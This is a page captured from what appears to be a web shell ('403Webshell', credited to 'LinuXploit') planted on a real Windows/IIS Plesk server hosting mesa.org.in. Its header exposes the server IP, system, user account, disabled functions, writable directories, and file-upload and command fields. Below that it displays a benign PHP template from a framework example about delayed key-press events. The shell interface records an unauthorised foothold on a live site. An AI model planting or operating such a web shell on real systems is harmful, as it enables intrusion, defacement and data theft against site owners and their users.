403Webshell
Server IP : 103.118.17.23  /  Your IP : 216.73.216.188
Web Server : Microsoft-IIS/10.0
System : Windows NT RESELLERPLESK22 10.0 build 20348 (Windows Server 2016) AMD64
User : IWAM_plesk(default) ( 0)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  E:/Inetpub/vhosts/mesa.org.in/httpdocs/assets/_core/php/examples/events_actions/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : E:/Inetpub/vhosts/mesa.org.in/httpdocs/assets/_core/php/examples/events_actions/delayed.tpl.php
<?php require('../includes/header.inc.php'); ?>
<?php $this->RenderBegin(); ?>

<div id="instructions">
	<h1>Triggering Events after a Delay</h1>
	
	<p>Sometimes, you may want events to trigger their assigned actions after a delay.  A good example
	of this here is the <strong>QKeyPressEvent</strong> we added below.  As the user enters in data into the textbox,
	we make an AJAX call to update the label.  However, in order to make the system a bit more usable
	and streamlined, we have added a half-second (500 ms) delay on the <strong>QKeyPressEvent</strong>, so that 
	we are not making too many AJAX calls as the user is still entering in data.</p>
	
	<p>Basically, this allows the action to be triggered only after the user is done typing in the data.</p>

	<p>Note that we maybe could have used a QChangeEvent on the textbox to achieve a similar effect.  But
	realize that QChangeEvent (which utilizes a javascript <strong>onchange</strong> event handler) will only be
	triggered after the control <em>loses focus</em> and has been changed -- it won't be triggered purely
	by the fact that the text in the textbox has been changed.</p>
</div>

<div id="demoZone">
	<p><?php $this->txtItem->RenderWithName(); ?></p>

	<p><?php $this->lblSelected->RenderWithName(); ?></p>
</div>

<?php $this->RenderEnd(); ?>
<?php require('../includes/footer.inc.php'); ?>

Youez - 2016 - github.com/yon3zu
LinuXploit